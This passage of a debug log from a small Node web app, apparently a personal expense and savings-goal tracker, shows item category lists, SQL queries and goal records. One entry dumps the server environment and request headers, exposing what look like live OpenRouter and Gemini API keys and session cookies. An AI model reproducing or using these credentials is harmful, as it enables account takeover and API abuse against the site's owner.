  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-03-06T16:36:36.860Z server-connect:router Serving serverConnect /api/goals/transaction
2026-03-06T16:36:36.861Z server-connect:app Executing action step identify
2026-03-06T16:36:36.861Z server-connect:app options: { provider: 'security' }
2026-03-06T16:36:36.861Z server-connect:output identity: 1
2026-03-06T16:36:36.861Z server-connect:app Executing action step restrict
2026-03-06T16:36:36.861Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-06T16:36:36.863Z server-connect:output restrict: undefined
2026-03-06T16:36:36.863Z server-connect:app Executing action step insert
2026-03-06T16:36:36.863Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object], [Object], [Object] ],
    table: 'target_transaction',
    returning: 'id',
    query: 'insert into `target_transaction` (`created_on`, `credit`, `debit`, `target_id`) values (?, ?, ?, ?)',
    params: [ [Object], [Object], [Object], [Object] ]
  }
}
2026-03-06T16:36:36.864Z server-connect:output insert: { affected: 1, identity: 14 }
2026-03-06T16:36:37.108Z server-connect:router Serving serverConnect /api/goals/list
2026-03-06T16:36:37.109Z server-connect:app Executing action step identify
2026-03-06T16:36:37.109Z server-connect:app options: { provider: 'security' }
2026-03-06T16:36:37.109Z server-connect:output identity: 1
2026-03-06T16:36:37.109Z server-connect:app Executing action step restrict
2026-03-06T16:36:37.109Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-06T16:36:37.109Z server-connect:output restrict: undefined
2026-03-06T16:36:37.109Z server-connect:app Executing action step custom
2026-03-06T16:36:37.109Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-03-06T16:36:37.111Z server-connect:output list: [
  {
    id: 10,
    name: 'House',
    amount: 4000000,
    description: 'My dream house',
    userid: 1,
    created_on: 2026-02-24T12:06:23.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '136000',
    grand_total_target: '4300000'
  },
  {
    id: 9,
    name: 'Emergency Fund',
    amount: 100000,
    description: 'Emergency liquid fund',
    userid: 1,
    created_on: 2026-02-24T12:05:59.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '136000',
    grand_total_target: '4300000'
  },
  {
    id: 8,
    name: 'CPU Build',
    amount: 200000,
    description: 'Build 9070XT pc build',
    userid: 1,
    created_on: 2026-02-24T12:05:14.000Z,
    status: 'Not Started',
    category: 'Electronics',
    total_saved: '136000',
    last_transaction_date: 2026-03-06T16:36:36.000Z,
    percentage_achieved: '68.00',
    grand_total_saved: '136000',
    grand_total_target: '4300000'
  }
]
2026-03-06T16:36:37.113Z server-connect:router Serving templateView /goal
2026-03-06T16:36:37.113Z server-connect:app Executing action step identify
2026-03-06T16:36:37.113Z server-connect:app options: { provider: 'security' }
2026-03-06T16:36:37.114Z server-connect:output identity: 1
2026-03-06T16:36:37.114Z server-connect:app Executing action step restrict
2026-03-06T16:36:37.114Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-06T16:36:37.114Z server-connect:output restrict: undefined
2026-03-06T16:36:37.114Z server-connect:router Render template layouts/main
2026-03-06T16:36:37.114Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/goal',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"13f28-uxO7k5OX1XeCubJvdfAZXLB9+ac"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ATbDSz8vP88g6A7MeplwJZg%3D%3D.Xn1f684n2SZfoFCmY%2BF9OabsBnUwE7iEoIbW78nhlKnRx107061OKJdVYhVhoIucVQYsbfKi8SKqskBZgIhio26DsMD71iz1uwXj%2BPEjkMGaTHJEYcdBXPQKXYT809%2F%2B3sgvARKWr8eMZshCJV0aLoBk25zcaGqz0XN5hQbb2Cs%3D.03HcfABxeVsMzfsRjKgfmFA%2F2WtdqhwyLyVrDg6bfeU; your_r_git.sid=s%3ApxiJCWZ6YOc1DRNQ-UFx2moGH5GgYTNn.iJjfzFd%2BsiAjBuuwnh8oW0O4CMYi9sC3ahl9PaX164E',
    'x-forwarded-for': '157.48.253.233',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-07T16:29:48.894Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.253.233',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/goal',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"13f28-uxO7k5OX1XeCubJvdfAZXLB9+ac"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ATbDSz8vP88g6A7MeplwJZg%3D%3D.Xn1f684n2SZfoFCmY%2BF9OabsBnUwE7iEoIbW78nhlKnRx107061OKJdVYhVhoIucVQYsbfKi8SKqskBZgIhio26DsMD71iz1uwXj%2BPEjkMGaTHJEYcdBXPQKXYT809%2F%2B3sgvARKWr8eMZshCJV0aLoBk25zcaGqz0XN5hQbb2Cs%3D.03HcfABxeVsMzfsRjKgfmFA%2F2WtdqhwyLyVrDg6bfeU; your_r_git.sid=s%3ApxiJCWZ6YOc1DRNQ-UFx2moGH5GgYTNn.iJjfzFd%2BsiAjBuuwnh8oW0O4CMYi9sC3ahl9PaX164E',
    'HTTP_X_FORWARDED-FOR': '157.48.253.233',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/goal'
}
2026-03-06T16:36:37.729Z server-connect:router Serving serverConnect /api/goals/list
2026-03-06T16:36:37.729Z server-connect:app Executing action step identify
2026-03-06T16:36:37.729Z server-connect:app options: { provider: 'security' }
2026-03-06T16:36:37.729Z server-connect:output identity: 1
2026-03-06T16:36:37.729Z server-connect:app Executing action step restrict
2026-03-06T16:36:37.729Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-06T16:36:37.730Z server-connect:output restrict: undefined
2026-03-06T16:36:37.730Z server-connect:app Executing action step custom
2026-03-06T16:36:37.730Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-03-06T16:36:37.731Z server-connect:output list: [
  {
    id: 10,
    name: 'House',
    amount: 4000000,
    description: 'My dream house',
    userid: 1,
    created_on: 2026-02-24T12:06:23.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '136000',
    grand_total_target: '4300000'
  },
  {
    id: 9,
    name: 'Emergency Fund',
    amount: 100000,
    description: 'Emergency liquid fund',
    userid: 1,
    created_on: 2026-02-24T12:05:59.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '136000',
    grand_total_target: '4300000'
  },
  {
    id: 8,
    name: 'CPU Build',
    amount: 200000,
    description: 'Build 9070XT pc build',
    userid: 1,
    created_on: 2026-02-24T12:05:14.000Z,
    status: 'Not Started',
    category: 'Electronics',
    total_saved: '136000',
    last_transaction_date: 2026-03-06T16:36:36.000Z,
    percentage_achieved: '68.00',
    grand_total_saved: '136000',
    grand_total_target: '4300000'
  }
]
2026-03-06T16:36:37.733Z server-connect:router Serving serverConnect /api/masters/get-items
2026-03-06T16:36:37.735Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-03-06T16:36:37.735Z server-connect:router Serving serverConnect /api/goals/recent_transaction
2026-03-06T16:36:37.736Z server-connect:app Executing action step identify
2026-03-06T16:36:37.736Z server-connect:app options: { provider: 'security' }
2026-03-06T16:36:37.736Z server-connect:output identity: 1
2026-03-06T16:36:37.736Z server-connect:app Executing action step restrict
2026-03-06T16:36:37.736Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-06T16:36:37.737Z server-connect:output restrict: undefined
2026-03-06T16:36:37.737Z server-connect:app Executing action step select
2026-03-06T16:36:37.737Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-03-06T16:36:37.738Z server-connect:app Executing action step identify
2026-03-06T16:36:37.738Z server-connect:app options: { provider: 'security' }
2026-03-06T16:36:37.738Z server-connect:output identity: 1
2026-03-06T16:36:37.738Z server-connect:app Executing action step restrict
2026-03-06T16:36:37.738Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-06T16:36:37.738Z server-connect:app Executing action step identify
2026-03-06T16:36:37.738Z server-connect:app options: { provider: 'security' }
2026-03-06T16:36:37.738Z server-connect:output identity: 1
2026-03-06T16:36:37.738Z server-connect:app Executing action step restrict
2026-03-06T16:36:37.739Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-06T16:36:37.740Z server-connect:output restrict: undefined
2026-03-06T16:36:37.740Z server-connect:app Executing action step single
2026-03-06T16:36:37.740Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-03-06T16:36:37.742Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
